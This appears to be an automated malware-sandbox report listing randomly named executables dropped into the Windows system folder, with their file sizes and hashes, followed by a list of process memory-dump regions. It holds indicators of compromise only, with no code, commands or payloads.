94627193306ad415fb1b44ff9180ffc15394282eb4120a0d4a8fafd3b5f0560e0db1203c40dd56a6a8d039d2ab4f23a06b5984b93ee68e591e0c688996735868

Download Submit
C:\Windows\system\uEbDAfD.exe

Filesize
1.6MB

MD5
11e760298cca9a7e095adab16f21d417

SHA1
7a1f302fac1056469772b539c9ae76b37dd907d0

SHA256
25a9146deca20dd200683ea65329bb08b546b2692403a00863453f823c727e02

SHA512
3fc2e0444c607af9bbc439b0141186712342db5bef41f478e6d668a6d1cc8483a02bc199dcc87e5057230d567dabe86542aa63d8b1da22674d4c82e78d720820

Download Submit
C:\Windows\system\wUwzYpO.exe

Filesize
1.6MB

MD5
1de409fa44a26901c3790695674067b5

SHA1
aa74dbcf96ee5ed499dedff5f42a7a3654d1fec2

SHA256
61c4e2d8407c66b086aabbfdd7199bb0aa5a7251b7f796d6a2680aaefc6fd416

SHA512
296c7a95a59237bd08378e3de0884d4506e078305e0fa997ebebad33b656af7ea4ac788bb36fbb50a1c1d5d750a8cd56ded7267bcb4309bb344dc342aba57f4f

Download Submit
\Windows\system\CEXQLaB.exe

Filesize
1.6MB

MD5
b8f080e81b36da48736a2d83e191466f

SHA1
be779915e70a629c4a58afe7606c0522074ca39b

SHA256
639585f786eee43c0fad48fee8ac34b6c6c50f7170ee126755a633a5730a5481

SHA512
216ebc5cb1327d1469955202640699ed12a06baf8e5b3139a875c56d6ac8ce8843c4f666a56ef3a1d716a79c41f038cf5f083f4d841dc6e70d45029f1340c4f0

Download Submit
\Windows\system\DGGCcfH.exe

Filesize
1.6MB

MD5
ab4c13dfddc6d4c172083309eba07d63

SHA1
7034a74012d61e0cfe564ab0595f2f14ce7d6e45

SHA256
4c793de23e011900ae5ee3bdf1310f8026764733899bfba3c1c4d886e7fd40dc

SHA512
4bd0d0f05e0e0c3e84b50d5fa3fad1284e8921a239effcb2721a0a8323e83881f57be9d0defee6cac6b3c45c74b928166f2e59fc623c2a00b52bd8e2a883bf04

Download Submit
\Windows\system\GOmRpGq.exe

Filesize
1.6MB

MD5
6867010069e2f6d1c4bef3012c98a3a1

SHA1
6bb50f7b66246fee4e1e8cfc8edf2ec161c7de44

SHA256
25fa3ca075631dd76d5060ed2673ad4f47ee6842f8604f9b49ff88a36f4c0f25

SHA512
63c79a3038b3125effe55dc6de9a31259dbef6a42ecc788831fe59927c80da5fbedf4e7a110dc4cf2da264a29ff2dde5606c14f528187ebc7e0ecfac7986094b

Download Submit
\Windows\system\NEwwuld.exe

Filesize
1.6MB

MD5
2a64ae7aac74d5c33a1476d2a412dc8b

SHA1
ad29217909db7706495ec186bddd30ed3e5ec704

SHA256
fde6cc6353f62cd3e9161fd441a53d5dbdf0188f1fce48d7c63a896c9bf8d50b

SHA512
d34582c01a51ef1803471aa0d8f05c930d391815567142bbc928765303ef313b58c41c878d6674ca0f336ff704033ca5fed5fff8a25ec86abcdd1d40d2dbc85e

Download Submit
\Windows\system\PIUkcOm.exe

Filesize
1.6MB

MD5
7579ec90454ded2b93f74fee5b0b0e04

SHA1
3eaaf1cfd589e83f6137adffc2adcc2b5bd10ef3

SHA256
af4f574b9c0b678452a256c9ce5b13d45677dbb98fc04320daf651596f919e52

SHA512
76a7a07895a688d5d0b06ad888185a70ec136395a66cd8006fd0b8502596c551be3af17ef2017ae383e56a4ba93a9f9276361804961ca5d3d03fcfbf42546bb8

Download Submit
\Windows\system\TKpdDmk.exe

Filesize
1.6MB

MD5
fb5069f32a1c580598e74b2c004c29b1

SHA1
0db7141d8db7e8f660a4e85d691d34e3f4642a44

SHA256
c8e7408a49934184929b8fc3156a9ee97d93c2edea10edb11fa9f08713f243b5

SHA512
37ac286ec40e38abbc1bf775517881dd2ffc0685a62c09ab7f89722b75d3e103459f54ca0291fa962de702dfdba16ba43f063a35abaa671813fa8f91fc08bc56

Download Submit
\Windows\system\UROEDPO.exe

Filesize
1.6MB

MD5
e29647dca04da263611c4bf3dc2ab084

SHA1
cb4923024f29fb7ce4f9c74de40e006f28beb120

SHA256
1f4c6c8ec1fd96cea38a3cafb43c15af4c631cc1e95707e83a49235352170265

SHA512
8761b595cd843ca74375307657801ec8ed3ce9fe219b566ba4795f3085480aa2cb22c3e621122cacf343332004ce9e6dde095bf93b97773f4fb869ac184e00fc

Download Submit
\Windows\system\VwFpmpl.exe

Filesize
1.6MB

MD5
b4b46978fa6278723c54fe0eeb7fc544

SHA1
31eccc97631218ef9ebe7fa0ef3b5124b09ed2bf

SHA256
c7a861b93ee4ca5f30eb2ca2c2adee16c2aa3729e58e2ef7f069fe4f2902cffc

SHA512
c125b47777bd1d97a7cd955b4bf931bf5d1323ba983aa5f7d640bd4b42d995beb0b0610dea69a0254d403737ca6fc3d6cf10356298f4b0afafbc42f6af802030

Download Submit
\Windows\system\ZNvNiRY.exe

Filesize
1.6MB

MD5
de471731460c6fb2b39365c3661c265d

SHA1
84aae1f7e6cc2ad022b3ceae11339af652c7eaec

SHA256
9d2f35149aace464c22144a3d1f59c163036b0c55592e29f68c138abe469ff43

SHA512
47cb6218204d084b1e725de455147bf82cdc8c895c0bf5f91719828fd735ef3c4ff65cb3413f50c782b46c0c2f2cb1ae78bf1863cad90672bb783c24b714900c

Download Submit
\Windows\system\ZydorSx.exe

Filesize
1.6MB

MD5
6598a7d4b9d72ed26462d6c203dfac24

SHA1
9c5cd69d76092075f3dfe41566b902c3e0392f03

SHA256
e917c579d80fdc9d0d22e6a14dbaf8d4274befa5ecd995ed8ef32926be29abd1

SHA512
5ff415aef10628128f7e36a9b294683a13d5b2604bec45604dff79dfc64091368eaafd425f41444723eed5d8986e35b3b7948b21e1c86191b1166c7534fea71b

Download Submit
\Windows\system\aarbFfH.exe

Filesize
1.6MB

MD5
2951e88e2df2ad392414bad653e2dad9

SHA1
e358d0e07258f8a24335407937b2b0d91f160e74

SHA256
60bc074435153ef11db06d35e997c52695b456c85981d01054235ddecac728db

SHA512
532b16941ea93438569ce7527e5a3d72c82edb14653bc343cd22f08c9224fce76e4878362b22f29681fe776ec3f6c2abd1ad4d5b192699487a73da2fac58b5d7

Download Submit
\Windows\system\dqXzxzp.exe

Filesize
1.6MB

MD5
a5639d9b06fdf73b25698aae8e74b08b

SHA1
335d8d48d15a88f8ec376cbe1af66fcd65460fc7

SHA256
5f9be2573e245f6c70eb445a1384a0613646d76ea02692c885a04822880dace2

SHA512
bcc9545f04ad8de55336bde7657948dd70c9157b0aa891f9939055530b849866c9e2f2a6fdb358d5f2e5f6b36a00b66870d5670e239d21a130fbb6ba62d2cea3

Download Submit
\Windows\system\emvmYcb.exe

Filesize
1.6MB

MD5
e2168ff4eaf9fe177c839df75494e202

SHA1
387030bf81ea823e4cdfa7d7484e64bcd80ecf6b

SHA256
3deb00b164ea682ea5fc8743d35706ed49d43eb2a22611cc033cb2749148cbc0

SHA512
537968186940cb784ccef693170eb5e266ac30bf148e45f4cfc58e3a7b11df26330b5fba507d986d537f4dec82e33127086d4308e5ea4b96b49e1d91f86eec6b

Download Submit
\Windows\system\gHYGRmC.exe

Filesize
1.6MB

MD5
6d199d197549d84ca1753b3304965002

SHA1
709558caaf9b9f26efd42f73655245809686d663

SHA256
8130e6ba1f980b3e59181ba975b56971a8c6177e2523b749e32fab531d010b08

SHA512
c71919a2589831c1892ca35c75c943c8c470831f9595c5fac3ebb92ca15b777e6b1d42a7a5fd227892ad38117cc59b9bf79fe2a9c6551bfe905c399798ac6f20

Download Submit
\Windows\system\hAOHUcp.exe

Filesize
1.6MB

MD5
c4012c8feb6ffe6cda06e60dba53bc38

SHA1
2713bb44d563dbd237095b17d662486833d6c9ed

SHA256
7e0b150dfa93dbe53d492038f29f43b170b2e85a75f29d18c6e6469adec55507

SHA512
963fc2257ec31f60b55ccce5d4944b153ad5efd4926e23efe799494d4775bb3bf5f86d1f19204c78ce1c558f84cf63f16ac475b5b0696f6e20eb569f9a2e4b72

Download Submit
\Windows\system\jHjtpzX.exe

Filesize
1.6MB

MD5
74b72271e0cc034230062bf4baff6034

SHA1
0fe02403ee095bc850acf1b5929d558a919949af

SHA256
ff3db3b2b1cd06c86c17370c654ec5806f603b167f3a7b672cd1cb31856513df

SHA512
219141ce45d76f05c43007a549247c16e37d70f6d8b49598bb5561a710647e8ac76e5accd4f6cc9f9b26411b480d61349d811e0495bd08496847c745e9407f51

Download Submit
\Windows\system\mtGYwNV.exe

Filesize
1.6MB

MD5
6b85f00259ae2d43d47c0dbfa0741f18

SHA1
cd6f137d2912b307859cdc1be0b0e64d9f03742d

SHA256
b21da67681a93bbe2a24e4ccab11e4462927d9f5df4630d070f888f96cc7f81a

SHA512
1da794dcc3f1988e06e620ce830abe7e061842942cf78722b32b85a36bc4fecd3d8692ba478c653d99824b16bdc3d8c6730b5b2679d1e83b85f973575f7bba8f

Download Submit
memory/1704-84-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/1704-5673-0x000000013F2C0000-0x000000013F6B2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-112-0x0000000003060000-0x0000000003452000-memory.dmp

Filesize
3.9MB

Download
memory/2352-93-0x000000013F600000-0x000000013F9F2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-87-0x000000013F700000-0x000000013FAF2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-0-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2352-1-0x000000013F040000-0x000000013F432000-memory.dmp

Filesize
3.9MB

Download
memory/2352-92-0x000000013FB50000-0x000000013FF42000-memory.dmp

Filesize
3.9MB

Download
memory/2352-110-0x0000000003060000-0x0000000003452000-memory.dmp

Filesize
3.9MB

Download
memory/2352-100-0x000000013FBC0000-0x000000013FFB2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-63-0x000000013F510000-0x000000013F902000-memory.dmp

Filesize
3.9MB

Download
memory/2352-23-0x000000013F6B0000-0x000000013FAA2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-94-0x000000013F880000-0x000000013FC72000-memory.dmp

Filesize
3.9MB

Download
memory/2352-13110-0x000000013F040000-0x000000013F432000-memory.dmp

Filesize
3.9MB

Download
memory/2352-96-0x000000013FE00000-0x00000001401F2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-114-0x000000013FE60000-0x0000000140252000-memory.dmp

Filesize
3.9MB

Download
memory/2352-99-0x000000013F8C0000-0x000000013FCB2000-memory.dmp

Filesize
3.9MB

Download
memory/2352-89-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Filesize
3.9MB

Download
memory/2528-237-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2528-238-0x0000000001D00000-0x0000000001D08000-memory.dmp

Filesize
32KB

Download
memory/2572-5821-0x000000013FB50000-0x000000013FF42000-memory.dmp

Filesize
3.9MB

Download
memory/2572-115-0x000000013FB50000-0x000000013FF42000-memory.dmp

Filesize
3.9MB

Download
memory/2576-5670-0x000000013F700000-0x000000013FAF2000-memory.dmp

Filesize
3.9MB

Download
memory/2576-95-0x000000013F700000-0x000000013FAF2000-memory.dmp

Filesize
3.9MB

Download
memory/2652-5674-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Filesize
3.9MB

Download
memory/2652-113-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Filesize
3.9MB

Download
memory/2848-111-0x000000013F880000-0x000000013FC72000-memory.dmp

Filesize
3.9MB

Download
memory/2916-56-0x000000013F6B0000-0x000000013FAA2000-memory.dmp

Filesize
3.9MB

Download
memory/2916-5820-0x000000013F6B0000-0x000000013FAA2000-memory.dmp

Filesize
3.9MB

Download
memory/3008-5819-0x000000013F510000-0x000000013F902000-memory.dmp

Filesize
3.9MB

Download
memory/3008-70-0x000000013F510000-0x000000013F902000-memory.dmp

Filesize
3.9MB

Download